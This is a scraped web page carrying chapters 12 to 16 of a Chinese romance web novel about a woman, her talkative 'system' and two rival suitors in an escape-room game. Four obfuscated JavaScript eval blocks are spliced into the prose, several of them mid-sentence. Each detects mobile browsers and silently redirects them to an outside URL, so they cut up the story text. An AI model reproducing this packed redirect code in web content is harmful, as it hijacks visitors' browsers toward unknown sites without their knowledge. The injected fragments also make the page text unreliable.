;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322430|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小学生。 系统的吐槽欲又爆发了:“怎么跟个鹌鹑似的?白长这么大的个子了。” 曲江吟没有搭理它,双眼微眯,打量着NPC,温声问道:“你没摔伤吧?” 系统抢答道:“没有,他皮实得很。” NPC摆了摆手:“我没事儿,谢谢你的关心。” “没事儿就好,”曲江吟看向床底,她不想在这儿耽搁时间了,对NPC说了一句“我来搜索床底吧”,便主动走到床边,蹲下去,在系统的指引下,快速摸到并捡起对讲机。 她本来想让他自己接过去,但这里实在是太暗了,他又笨手笨脚的,让他接还不如亲自递过去呢。 想到这里,她果断走到不知所措的NPC面前,伸出没拿对讲机的手,轻轻拍住他的胳膊,顺着他的肌肉一直往下滑,滑过他的衣袖,贴住他的肌肤,绕过他的手腕,最终四根手指停在他手背凸起的青筋上,大拇指停在他的大鱼际上。 感受到手部传来的温暖,NPC本就过载的大脑彻底死机了。 骤然加快的心跳震得他胸口发麻,他抬起另一只手,按在心口的位置,不禁怀疑这是否就是心动的感觉。 她一边将对讲机放入他的掌心,一边用轻快的语调说道:“喏,给你,这下可以联系中控了。” NPC下意识握住对讲机,呆呆地应了一声:“哦。” 曲江吟抬手在他眼前晃了晃,“发什么愣啊?” NPC如醉方醒,急忙组织语言回应道:“联系中控的事不急,我先帮你找人吧。” 说到中控,曲江吟突然想起一件事,“对了,万一发生紧急情况,后台的中控员能不能叫停游戏,通知玩家离开场地?” “能啊,你想让她叫停游戏?” “你先问清楚之前发生了什么,如果真的闹鬼了,当然得叫停!如果是玩家搞的鬼,就让她通知那位玩家别再这么玩儿了,万一有人受伤就麻烦了。再说,通过监控找人不比咱俩摸黑找人方便多了?” 对啊!他怎么没想到呢?只要联系上中控员,所有问题都能迎刃而解,他再也不用担惊受怕了! “你考虑得好周全,我这就试试!”黑暗遮住他重焕光彩的眼睛,却遮不住他重拾抖擞的声音。 他立刻把对讲机举到嘴边,满怀期待地按向开机键。 按一下,没反应,再按一下,还是没反应,他不信邪,把能戳动的按钮统统戳了好几遍,对讲机仍旧毫无反应。 “坏了?”曲江吟看着他手中的对讲机,怀疑是不是被人踩了或者踢了。 “嗯。” 唇间蹦出一个音节,鼻端呼出一口浊气,这个简单的不能再简单的动作,却一下子抽干了他所有的力气。 失望融进血液,淌遍全身,最后在他脑中汇聚成两个字——坑爹! 就在这时,徐逸风的声音由远及近地传来。 “江吟!你在哪儿?” 13. 013 “我在这儿!”曲江吟大喜过望,没想到他竟然自己找过来了。 系统也颇感意外,不禁感慨了一句:“厉害呀!居然能摆脱那个堪比狗皮膏药的愣头青!” 没过多久,徐逸风便循着声音来到曲江吟面前。 失而复得的激动让他张开双臂想要把她揽入怀中,生怕冒犯到她的顾虑又让他如同中了定身术一般,直挺挺地立在那儿,进也不是,退也不是。 他这副窘态不光戳中了曲江吟的心巴,还戳中了她的笑点,她化笑意为调侃,“你是在拥抱黑暗吗?瞧好了,这才叫拥抱”,然后直接给他来了个熊抱。 旁边还杵着个人呢,她没好意思抱着徐逸风不撒手,趁机朝他脖子上吹了一口气就松开了。 黑暗限制了视觉,却放大了其余五感。徐逸风来不及为一触即离的拥抱感到遗憾,就被溢满鼻腔的馨香和席卷全身的酥麻感勾走了魂儿。 “其他人呢?”曲江吟朝他身后望去。 他光速回神,摇了摇头说:“不知道,大概是躲起来了。” 这时,他才发现旁边还有一个身型高挑面容模糊的人,遂问道:“这位是?” “真NPC。” 猝不及防吃了一嘴狗粮,NPC异常郁闷,无精打采地报上姓名:“我叫柳琢玉。” “躲在床下那位?” “嗯。” “是的。” 曲江吟和柳琢玉不约而同地点了点头。 徐逸风脑子里的问号顿时来了个指数型增长,“你们俩怎么会凑在一起?” “我以为我抓的是你的手,拉着就跑,跑出去好长一段距离才发现拉错人了,然后就回来找你了。”曲江吟三言两语就把事情的经过解释清楚了。 徐逸风眯起眼睛,凝视着柳琢玉被黑暗隐去的脸庞。 江吟跑出很远才发现,说明这家伙当时一声不吭毫无作为,他怎么能如此心安理得地享受江吟的照拂? 一股微妙的厌恶感在徐逸风的心田生根发芽。 “当时我差点儿被推倒,幸亏江小姐拉了我一把。”柳琢玉补充了一点细节,并由衷地称赞道:“她超厉害!拖着我这个累赘,还能跑得那么快!” 不过一眨眼的工夫,心田的厌恶就从嫩芽变成了幼苗,徐逸风皮笑肉不笑地说:“她不姓江。” “啊?”柳琢玉偏头看向曲江吟,“我还以为江吟就是你的名字呢。” “我姓曲,全名曲江吟。” “好名字!” “谢谢,你的名字也不赖。” 柳琢玉又看向徐逸风,“对了,你叫什么名字啊?” “徐逸风。” “哦,你的声音听起来蛮成熟的,应该比我老呃……年长一些,我能管你叫哥吗?” 转眼间,心田的厌恶又长高一大截,徐逸风忍不住质问道:“你不是NPC吗?跟玩家混在一起不合适吧?” “我确实是NPC,还是这间病房唯一的NPC,那只不知从哪儿冒出来的女鬼,不仅吓到你们了,还把我吓得够呛,以为真闹鬼了。” 虽然明眼人都能看出来两人是在约会,但柳琢玉只是怂,又不是缺心眼儿,当然不愿意独处,万一碰到女鬼怎么办?所以这个电灯泡他当定了! 于是他换上可怜巴巴的语气,盯着徐逸风模糊不清的脸说:“哥,我胆子小,不敢一个人待着,能不能别赶我走?” 尽管他将姿态放得很低,徐逸风还是觉得他的话越琢磨越不对味儿,答应意味着妥协,拒绝等同于冷漠。 对方放低姿态纯粹是为了把他高高架起。 想到这里,他目露不虞,心田的厌恶顷刻间长出层层叠叠的枝叶。 为宿主操碎了心,却总是瞎操心的系统又开始叽叽歪歪了:“哒咩!绝对不能让徐逸风撵走他!广纳后宫夜夜笙歌的目标暂且遥不可及,左拥右抱坐享齐人之福的目标近在咫尺!宿主,机会就在眼前,白白错过岂不可惜?” 曲江吟深感无语,比绑定一个碎嘴子系统还要倒霉的事,就是绑定一个满嘴胡话的碎嘴子系统。 人贵有自知之明,她可不相信自己能有那么大的魅力引无数美男竞折腰。 “呵呵!你先把宫殿给我弄来再说别的吧。” 怼完系统,她长舒一口气,对徐逸风说:“说实话,我已经没心情继续玩下去了,你呢?” 回想起被追得心烦意乱恨不得一脚踹开身后之人的一幕幕,徐逸风无奈地笑了笑,“我也是。” 她顺势提出自己的建议:“既然他想和咱俩一起行动,不如让他带路吧?有NPC在,何愁找不到出口?” 柳琢玉十分上道,立马弯腰摆手做了个请的动作,同时喜笑颜开地开玩笑说:“给两位带路是我的荣幸,玩家桑,这边请!” 曲江吟噗呲一乐,揶揄道:“你还挺幽默,如果内鬼也算鬼,这地方就真有鬼了。” 曲江吟说话时,徐逸风展眼舒眉,神色温柔,柳琢玉说话时,他眉头微蹙,眼含不耐,曲江吟回应柳琢玉时,他想笑却笑不出来。 江吟明明是在问他,柳琢玉抢什么戏?世上怎么会有如此没有眼力见的人? 心田的厌恶刹那间长出含苞待放的花蕾。 黑暗成了恶意最好的屏障,他肆无忌惮地瞪了柳琢玉一眼,“你不吓唬我们,顶多算消极怠工,带我们离开,往严重了说,就是渎职,你这么做,不怕被老板解雇吗?” 柳琢玉耸了耸肩,吊儿郎当地说:“我巴不得她早点儿开除我呢,反正我也不想干了。” 他前脚说完,系统后脚便提醒道:“女装大佬没找到愣头青,推着轮椅朝这边走过来了。” 曲江吟果断拉起徐逸风的胳膊,边走边说:“走吧,等女鬼来了,咱们想走也走不了了。” 闻言,柳琢玉也忙不迭转身,大步朝门口走去。 然而他没走两步就一脚踩到之前被他摔飞的面具上,身体拐七趔八,向后倒去。 曲江吟下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322431|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识伸手想要扶他一把,不过徐逸风的动作比她更快,上前一步,五指张开,单手托住柳琢玉的后背,将他稳稳扶住。 系统嘿嘿一笑,锐评道:“不愧是名字带风的人,确实有风度,是个当大房的料!反观柳zhuo玉,啧!他名字里的zhuo不会是笨拙的拙吧?算了,笨就笨吧,男人笨点儿也挺好,听话好哄不难搞。” “你管人家是哪个zhuo呢!”曲江吟真想赏它个白眼。 “谢谢你啊,哥,”柳琢玉龇着大牙,笑得格外灿烂,“幸亏你及时扶了我一把,不然我就撞到曲小姐了。我长得壮,摔一跤也没事,她这么瘦,被我撞倒会受伤吧?” 哪怕周围没这么暗,徐逸风也不想给他好脸色看,“走路看着点儿脚下。” “太黑了,我看不清,”柳琢玉叹了一口气,注视着两人靠在一起的胳膊,虽然看不清楚,但他不用想也知道两人要么手挽手,要么手牵手。如果曲江吟牵的人是他就好了,刚才他就不会摔倒了,“真羡慕你们这些手挽手的人,一个人脚底打滑,另一个人可以马上扶住对方。” 要不是徐逸风不愿意在曲江吟面前暴露自己刻薄的一面,他必然会回复一句“那你继续羡慕吧”。 走出病房,曲江吟特意把门关好,免得女装大佬轻易追上她们。 见状,柳琢玉不解地问道:“你不是说锁坏了吗?锁不了的门,关它干嘛?” 徐逸风心里头想的是,“江吟关门肯定有她的道理,哪轮得到你置喙”,嘴上说的却是:“关上怎么着也比敞开强吧?” “对啊,能挡一秒是一秒嘛,”曲江吟望着幽暗的走廊,用胳膊肘捅了捅柳琢玉的胳膊,示意他往前走,“别惦记门的事了,快去前面带路。” 在柳琢玉的带领下,三人径直来到诊疗室。 为了让玩家看清屋里的十八般兵器,不对,是十八般刑具,诊疗室是整个疯人院唯一有光源的房间,只不过这里的光源是红色的。 猩红的光芒笼罩着杀气腾腾的刑具,一股难以言喻的凶戾之气扑面而来,让每一个初来乍到的玩家瞠目结舌心神惧震。 曲江吟不由得屏气慑息,瞪大双眼,“我去!你确定这是诊疗室,不是刑房?” “震撼吧?”柳琢玉扯出一抹略显臭屁的笑容,“这可是老板的得意之作呢,我第一次来也被震惊到直呼卧槽。” 如果说徐逸风长了一张足以替卫玠分担注意力,进而救他一命的脸,那么柳琢玉就长了一张足以吸引纳西索斯的注意力,进而救他一命的脸。 徐逸风瞧着柳琢玉那张俊美无俦的脸,心里一阵刺挠。 他很清楚目前他和曲江吟仅仅处于相识的阶段,他来不及向她展示自己的内在,撩拨她的心弦,只能依靠外表吸引她的目光,逐步占据她的心神。 冷不丁冒出一个外貌和他不相上下的年轻男人,这家伙还特别不识相,老是往江吟身边凑,他难免会心生不安。 “你带我们来这里干什么?” 14. 014 “看到那个柜子没?”柳琢玉指向墙角比普通衣柜大好几圈的三开门立柜,“那可不是普通的柜子,里面竖着一大块隔板,隔板后面是一条暗道,暗道通往最后一间密室,出口就在那里。” 说罢,他领着曲江吟和徐逸风来到柜子旁边。 “只有最外侧的柜门能打开,里面那两扇柜门都被封死了。最重要的是,开门的时候,千万不要站在柜门正前方,否则……” 说到这里,他故意停了下来,脸上挂着自以为神秘实则憨萌的微笑。 他都这么说了,门后头肯定藏了什么东西,不过看在他笑得很好看的份儿上,曲江吟愿意配合一下。 于是她佯装出好奇的模样,笑着问道:“否则什么?” 徐逸风可不吃他这套,径直走到柜子外侧,伸手捏住把手,缓缓拉开柜门。 柜门刚刚敞开,一个身穿病号服的假人便直挺挺地倒了下来,“噗通”一声砸在地板上。 这下,柳琢玉再怎么迟钝,也察觉出徐逸风对他的不满了。虽说他打搅了徐逸风和曲江吟的二人世界,但这人也忒小心眼儿了吧! 为了掩饰自己的尴尬,他只好装得跟个没事儿人一样,指着假人,笑眯眯地补充道:“否则就会被这玩意儿扑倒。” 曲江吟二话不说直接搬起碍事的假人,打算将它拖到一边,徐逸风想帮她一起拖,却被她摆手拒绝:“这东西又不沉,我一个人就行。” 等她忙完,柳琢玉才再次出声:“其实,我是想活跃一下气氛才故意卖关子的,没想到……” 说到这里,他攥住血衣的下摆,脸上闪过几分局促。而后,他将目光移至徐逸风脸上,貌似无意实则刻意地问道:“哥,你是不是觉得我很烦啊?打搅到你们两个是我的不对,我很抱歉,但我不是成心的,我只是……只是怕得不行,不敢独处罢了。” 扑鼻而来的茶香勾得曲江吟露出一抹兴致盎然的浅笑。 徐逸风脸色微变,眉头拧成“川”字,不到一秒的工夫,心田的厌恶便开花结果彻底成熟。 柳琢玉的话犹如泔水表面的油膜,乍一看七彩斑斓,细看脏污不堪,哪怕徐逸风没有意识到对方是在茶里茶气地给他上眼药,也能隐约感觉出对方没安好心。 他老早就觉得柳琢玉很烦人了,但提出让这货带路的人是曲江吟,他先前答应得好好的,现在却当着她的面承认自己很烦这货的话,没准儿会给她留下表里不一的印象。 被这货膈应是小事,给曲江吟留下好印象是大事,绝对不能因小失大! 于是他强行牵动脸部的肌肉,收起冷漠,换上温和的笑脸,“没有的事,你别多想,我只是着急离开。” 望着他干涩的笑容,听着他违心的话语,柳琢玉眉毛上扬,内心的得意差点儿蹿到脸上。 他歪了歪头,笑得异常明媚,“真的吗?那我就放心了。” 看热闹不嫌事大的系统,乐滋滋地说:“想不到我也有看走眼的时候,柳琢玉这小子不仅不笨,心眼儿还挺多!嘿嘿,大房看不惯狐媚子小房,却不得不忍耐的戏码可真有意思!你看到徐逸风强忍不耐的表情了吗?好有趣呀!” 尽管曲江吟也觉得徐逸风这副模样特别可爱,但比起欣赏他隐忍克制的神情,她更想把握时机猛叩他的心扉。 她探着脑袋瞅了瞅柜子里面,黑漆麻乌的,什么也看不清,随后侧过身子,向柳琢玉确认道:“既然叫暗道,接下来咱们是不是又得摸黑前行了?” “是的,里边很黑,还特别窄,不过咱们可以扶着墙走。” 曲江吟走到徐逸风身旁,无比自然地抓住他的手,将五根手指挤进他的指缝,和他十指相扣。 他不清楚她为什么要这么做,却第一时间收拢五指。 她举起两人交握的手,仰头直视着他的眼睛,信心十足地说:“我就不信这样握着还能牵错人!” 徐逸风心里那点儿烦闷瞬间烟消云散,要不是旁边还站着个两眼发直的柳琢玉,他真想拉过曲江吟的手,亲吻她的手背。 柳琢玉总感觉胸口堵了一团气,上上不去,下下不来。他没有细思这团气的来源,干脆收回视线,转身走进柜子,打算搬开隔板。 然而他刚走了没几步,就被透明胶带糊了一脸。 “啊!!!” 他走得太快,整张脸都被胶带粘住了,惊慌之下,他奋力撕扯,猛地将自己的脸从胶带上撕下来,头也不回地逃出立柜,直到听见曲江吟焦急的声音,他才感觉到右眼上眼皮传来一股火辣辣的刺痛,整张脸又疼又粘,难受极了。 泪水模糊了他的视线,但他还是第一时间看向那道纤瘦的身影,抓住她伸过来的手,惊恐地乞求道:“我的右眼好痛!你快帮我看看我的眼皮是不是被撕下来了!” 医者仁心的曲江吟立刻用眼神示意徐逸风松手,然后柔声对柳琢玉说:“你先放开我的手好吗?不然我没法儿帮你看。” 在这个红光弥漫的房间里,不凑近了看,曲江吟根本看不清他到底有没有受伤,因此两只手都空出来后,她轻轻捧住柳琢玉的脸,吩咐道:“低头,闭眼。” 柳琢玉乖乖照做。 被她捧住脸之后,他似乎没那么疼了,痛感逐渐减弱,某种说不清道不明的感觉缓缓爬上他的心头。 如此暧昧的情形很难不让他产生一些旖旎的念头。 他这个样子是不是很像在索吻?电视剧里面不都这么演的吗?接吻之前先闭眼。 她的嘴唇亲起来会是什么感觉呢?应该是软的吧,有多软呢?会不会比果冻还软呢…… 曲江吟仔细检查了他的右眼,没发现什么大碍,就是眼尾的睫毛被扯光了。 悬着的心终于落回原位。 她松开手站直身体,用严谨的语气解释道:“你的眼皮很完整,但是你的睫毛少了一小半,只要毛囊没受损,睫毛掉了还能长,应该没什么问题,不放心的话,出去之后再去医院看看。对了,你这是怎么搞的?” 说起这个他就来气,“不知道哪个鳖孙在柜子里头弄了一个胶带陷阱,竟然没人告诉我!里边那么黑,我啥也看不见,一头撞上去了!” 说完,他抬起右手,试图用手背擦擦眼泪,却被曲江吟阻止。 “不能用手擦,”她从兜里取出一小包纸巾,从里面抽出一张,抖开递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322432|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他手中,“用这个轻轻沾一沾,不要用力擦。” “谢谢,你真好!” 此刻,徐逸风的心情五味杂陈,既同情柳琢玉这个冒冒失失的倒霉蛋,又嫉妒他能被江吟捧着脸,既钦佩江吟的镇定与细致,又遗憾她的温柔不能独属于自己。 之后,他们清理掉胶带,依次走进暗道。 柳琢玉走在最前面,曲江吟牵着徐逸风的手走在后面。 不过,暗道实在是太窄了,她俩没办法并肩而行,曲江吟不得不侧着身子前行。 走着走着,她忽然灵光一闪,想到一个好主意,当即停下脚步,转头对徐逸风说:“咱俩能不能换个位置啊?你扶着墙,我扶着你的腰,就像小时候玩的老鹰抓小鸡一样,你当男呃……鸡妈妈,我当小鸡仔。” 幸福来得太突然,托着徐逸风的心飞向云端,如果他长了尾巴,绝对会摇出残影。 他连忙点头答应:“好啊!” 柳琢玉也听到了曲江吟的话,她是小鸡仔,徐逸风是鸡妈妈,从三人所处的位置来看,他不就是老鹰吗? 尽管理智告诉他,她多半没有别的意思,可他还是忍不住往歪处想——有没有一种可能,她是在暗示,他可以从徐逸风身边抢走她? 想到这里,他的眼神陡然变得无比幽深。 换完位置,曲江吟美滋滋地撩起徐逸风的衬衫下摆,将手搭在他劲瘦的腰肢上,然后如同蟹钳一般,牢牢钳住他腰侧的肌肉。 她能明显感觉到徐逸风的身体紧绷了一下,不过很快他就放松下来了。 他的腰摸起来手感很棒,可惜被一层薄薄的T恤裹住了。要不是他将T恤掖进裤子里了,她必然会假借撩衣摆的动作,偷偷感受一下他腰部的肌肤有多滑溜。 她不知道的是,徐逸风也认为自己身上的T恤有些碍事,隔着衣料,他只能感觉到曲江吟钳制的力道和隐隐的热意,舒服是舒服,但远不如肌肤相贴舒服。 她的手来回摩挲着他腰间的皮肤,光是想想,他都有种难以启齿的愉悦感。 差一点,就差那么一点点,他就能切身体会到那种暧昧到极致的感觉了,这种情况只会让他更加渴求她的触碰。 “刚才忘记问了,你腰上有没有痒痒肉啊?” “没有,你想怎么扶就怎么扶。” “哦?是吗?”曲江吟露出蔫坏儿的笑容,五指微屈,在他腰间轻轻抓挠。 他哪能受得了这样的刺激呀?当即笑弯了腰。 他赶紧抓住她作乱的手。 曲江吟不等他开口,便上前贴住他的后背,用俏皮娇嗔的语调说:“话不可以说太满哦。” 徐逸风本来还在犹豫要不要轻轻咬一下她的手背来回敬她的捉弄,她贴上来之后,他的心立马被糖浆淹没,甜得冒泡,密密麻麻的泡泡溢出心口,涌向全身。 他举起她的手,虔诚地吻了上去。 听着身后的动静,柳琢玉整个人都不好了,他的心仿佛掉进了醋缸,酸得他表情扭曲,恨不得一拳砸在墙上。 呸!这狗粮真难吃! 这时,前方冷不丁响起一道疑惑的声音:“谁在那儿?” 15. 015 柳琢玉瞬间听出这是死党张玮峘的声音。 “玮峘,你怎么来了?” 听到柳琢玉的回应,张玮峘顿时放下戒心,切换成吊儿郎当的状态,也不管别人看不看得见,抬手将额前的碎发往后一撩,流里流气地说:“这还用问吗?当然是找你聊天打发时间啊,玩家不知道还要多久才能过来,我一个人躲在帘子后面,连手机都没的玩,真的好无聊啊!没想到你小子也耐不住寂寞找过来了!” “少自作多情!我是想带朋友出去,可不是为了找你。” 一听这话,张玮峘立即大惊小怪地嚷嚷道:“你朋友不就是我朋友吗?谁呀?过来玩儿居然不通知我?” “别乱攀关系,人家又不认识你,她们是我刚认识的朋友。” 这下,张玮峘是真吃惊了,“刚认识?不会是玩家吧?” 此时,柳琢玉已经来到张玮峘身前,他用力拍了一把对方的肩膀,用半开玩笑半威胁的语气说:“对呀,你有意见?” 张玮峘缩着肩膀,装作认怂的样子,赔着笑脸说:“没,我哪敢有意见啊?” 然而他仅仅装了几秒便故态复萌,竖起手掌挡在嘴边,用说悄悄话的姿势大声问道:“你不是为了吓唬人才过来当NPC的吗?怎么突然跟玩家交起朋友了?” “这事儿说来话长……” 张玮峘不等他说完便抢过话茬说道:“那你就长话短说。” “你别打岔,之后我再跟你细说,先带我们离开这里。” “别急呀,”张玮峘抓住柳琢玉的胳膊摇了摇,故意用夹子音说:“先介绍一下你的新朋友嘛。” 柳琢玉脸上的嫌弃都快凝成实质了,他如同拍掉身上的脏东西一般,拍掉张玮峘的手,“你脖子上那玩意儿是摆设吗?这里这么黑,你都看不见她们长啥样,我介绍个鬼!” “你还认识鬼?那可得好好介绍一下哦!” “滚犊子!” 张玮峘嘿嘿一笑,“我开个玩笑嘛,走,俺老张这就带你们出去。” 隐隐作痛的眼皮提醒柳琢玉,他还有一件重要的事没问。 “对了,你知道诊疗室柜子里面的胶带陷阱是谁弄的吗?” 张玮峘挠了挠后脑勺,“什么胶带陷阱?那里不是只放了一具假人吗?” “奇了怪了,到底是谁干的?我的脸差点儿破相!要是被我抓到是谁干的,我一定要在他脸上缠上好几圈胶带,以解我心头之恨!”说到最后,柳琢玉不由得磨了磨后槽牙,如今他总算理解恨得牙根直痒痒是什么感受了。 曲江吟猛然想到一个可能,当即在脑内质问系统:“不会是你干的吧?” “我不是,我没有,别瞎说啊!这么没品的事,怎么可能是我干的?” 胶带还真不是系统弄上去的,不过它闲得无聊把原本粘得不怎么牢固的胶带给粘牢了,如果曲江吟率先走过去,它肯定会提醒,别人过去,它才懒得多嘴呢。 曲江吟想也没想就反驳道:“没品的事,你干的还少吗?” 脸皮厚得足以抵御导/弹的系统,难得心虚了一回,没再回话。 张玮峘侧身拍了拍柳琢玉的肩膀,幸灾乐祸地说:“破相也没关系,你的颜值低了,相对来说,我的颜值不就高了么?终于不用被你衬得像只猴子了,哦吼哦吼哦吼吼吼……” 柳琢玉推了张玮峘一把,笑骂道:“有病吧你!信不信我打电话给动物园,让他们立刻派人来抓你?” 之后,四人顺利走出暗道。 到了最后一间密室,在柳琢玉和张玮峘的指引下,她们不费吹灰之力就解开谜题,找到钥匙,打开房门,成功逃出“疯人院”。 拿到手机,柳琢玉做的第一件事就是凑到曲江吟面前,问她要联系方式。 徐逸风的目光顿时寒气四溢,犹如出鞘的利剑,径直刺向柳琢玉,恨不得在他身上戳几个窟窿。 “哥,你别多心,今天江吟帮了我很多次,我想请她吃顿饭,要她的联系方式只是为了确认她哪天有空。” 柳琢玉眼神清澈,笑容纯真,说话时表情和语气都十分坦荡,完全看不出一丁点儿撒谎的迹象。 徐逸风眼中的寒意分毫不减,他正打算用“送锦旗”来搪塞对方,却陡然意识到了不妥——绝对不能让这个居心不良的家伙得知江吟在哪儿上班! 系统跟个复读机似的,不停地怂恿道:“给他,给他,给他……” “那都是些小事,没必要谢我,如果我加了你的联系方式,”曲江吟牵起徐逸风的手,轻轻拍了拍他的手背,“他会吃醋的,哄醋坛子可不是什么容易的活儿,体谅一下我好吗?” “好吧。”浓浓的失落随着柳琢玉低头垂眸的动作淌过他昳丽的脸庞。 徐逸风本就板正的腰板儿挺得更直了,他薄唇微抿,笑得温柔又矜持,要不是不愿意在江吟面前露出有失风度的神情,他早就放任得意在他脸上撒欢儿了。 见状,系统更着急了,“你瞧他那副欲语还休的小模样,多撩人呀!难道你就不想狠狠把他欺负哭吗?他只是想要个联系方式而已,为啥不给他呢?” “住口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322433|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我只想狠狠把你这个乱出主意的傻缺捶哭!” 骂完系统,曲江吟冲柳琢玉挥了挥手,留下一句“有缘再见吧,拜拜”,便拉着徐逸风转身离开。 等她们走远,张玮峘瞪着眼珠子,仿佛活见鬼似的,表情夸张地问道:“不是,哥们?要是我智商一百八的大脑没有理解错的话,你刚才是准备撬墙角?” 柳琢玉瞥了他一眼,嘴角勾出似笑非笑的弧度,语气轻蔑:“智商一百八?我看你像二百五!” 张玮峘的白眼差点儿翻到天上去,他瘪了瘪嘴,不屑地说:“你撬不动人家的墙角,干嘛冲我发火啊?” 柳琢玉眉头一拧,没有说话。 “啧!没看出来啊,你小子竟然喜欢御姐范儿的女生,不过,”张玮峘回头瞅了瞅密室的出口,“里边那么黑,你是怎么发现这位美女姐姐的?” “你管我怎么发现的!”柳琢玉心情很差,不愿多说,转身朝更衣室走去。 见好兄弟如此郁闷,张玮峘摸着下巴思索几秒,然后快步追上去,拿出心灵导师的架子,刻意用深沉的语调说:“失败不可怕,可怕的是不知道为什么失败!” 柳琢玉脚步一顿,眉头拧得更紧了,深邃的眼睛里满是烦躁,“当然是因为我和她认识得比较晚,不然还能因为啥?” 别看他表现得很不耐烦,其实他内心深处对张玮峘这个旁观者的意见还是有那么一丝期待的。 张玮峘竖起食指摇了摇,“不对,这只是次要原因。” 柳琢玉立马追问道:“那主要原因呢?” “既然你诚心诚意地发问了,我就大发慈悲地告诉你吧,”张玮峘双手抱臂,笑得中二又得瑟,“你之所以没能要到她的联系方式,主要是因为……她的男友无论长相还是身材,都跟你不相上下。” 期待瞬间湮灭,无语迅速扩散。 柳琢玉斜了他一眼,朝他竖了个中指,继续大步往前走。 “我还没说完呢,你走那么快干嘛?”张玮峘再次快步追到他身后,“以你的姿色,想撬个墙角还不容易?但凡那位美女的男友矬一点儿,你都能轻松要到她的联系方式!” “你的意思是,只要他不矬,我就没机会了?” “不是啊,有句老话说得好,只要功夫深,铁杵磨成针,撬墙角总比磨铁杵容易吧。” …… 曲江吟和徐逸风一起去看了一场表演,还跟台上的演员互动了,他帮她去排队买奶茶的时候,她拿出手机,瞄了一眼时间,冷不防听到一个熟悉又热情的声音:“吟姐!” 16. 016 曲江吟下意识回头,看到安歆语兴高采烈地朝她快步走来,身后还跟着一个面生的年轻帅哥。 “歆语,这么巧!你也过来玩儿了?后面那位帅哥是?”偶遇好友的欣喜让她眉开眼笑,对两人关系的好奇又让她面露八卦之色。 安歆语走到她身旁,亲昵地挽住她的手臂,冲她挤了挤眼睛,凑到她耳边轻声说:“网上认识的,名字叫林楚暻,还在读研,目前是我的crush。” 林楚暻被拍照的路人挡了一会儿,直到安歆语说完才来到两人面前。 他故意用委屈巴巴的眼神看着安歆语,半开玩笑半抱怨地说:“意外见到老朋友,心情激动也正常,但你未免也太激动了吧,居然撂下我这个新朋友就跑得没影儿了,”说到这儿,他做作地捂住胸口,“我还以为你不想搭理我直接跑路了呢,吓死我了,哎……我这个心呀,直到现在都拔凉拔凉的!” 安歆语很吃他这一套,当即笑出了声,随后在他肩膀上不轻不重地捶了一下,大声揶揄道:“嗐!多大点儿事啊!感觉凉,那就多喝热水呗!” 眼下,介绍俩人认识才是正事,没等林楚暻发问,她便拉过曲江吟的手,轻轻拍了几下,笑盈盈地说:“这是我的好朋友,曲江吟。” “你好,很高兴认识你,歆语跟我提起过你,她总夸你漂亮直爽,言必信,行必果,是她最信赖的人之一。我也是歆语的朋友,我俩是网上认识的,我叫林楚暻。”林楚暻不知道安歆语已经把他的名字告诉曲江吟了,打招呼的同时,顺带介绍了一下自己。 除了名字,曲江吟对林楚暻一无所知,一时没想好该怎么夸回去,干脆回了一句挑不出错的社交辞令:“你好,我也很高兴认识你。” 这时,徐逸风拎着奶茶走了过来,他仿佛没有注意到曲江吟身旁莫名多出两个陌生人似的,眼睛直直地望着她,嘴角噙着温柔的笑容,和风细雨地说:“刚才我摸了下杯子,很烫,里面的奶茶估计更烫,暂时没法儿喝,这个袋子还有点儿勒手,拎着不太舒服,我先帮你拎着吧。” 见状,安歆语眼里顿时燃起熊熊的八卦之火,“你们两个是在约会吗?” 林楚暻却皱起了眉头,安歆语的倾诉欲很强,在熟人面前完全藏不住事儿,所以他很清楚曲江吟不光是她的朋友,还是她的嫂子。 安歆语经常把哥哥和嫂子的神仙爱情挂在嘴边,夸她哥是爱老婆胜过爱自己的绝世好男人,还说自己是哥嫂的cp粉,结果她哥去世还不到半年,她这位嫂子看样子已经找好下家了,真是薄情寡义! 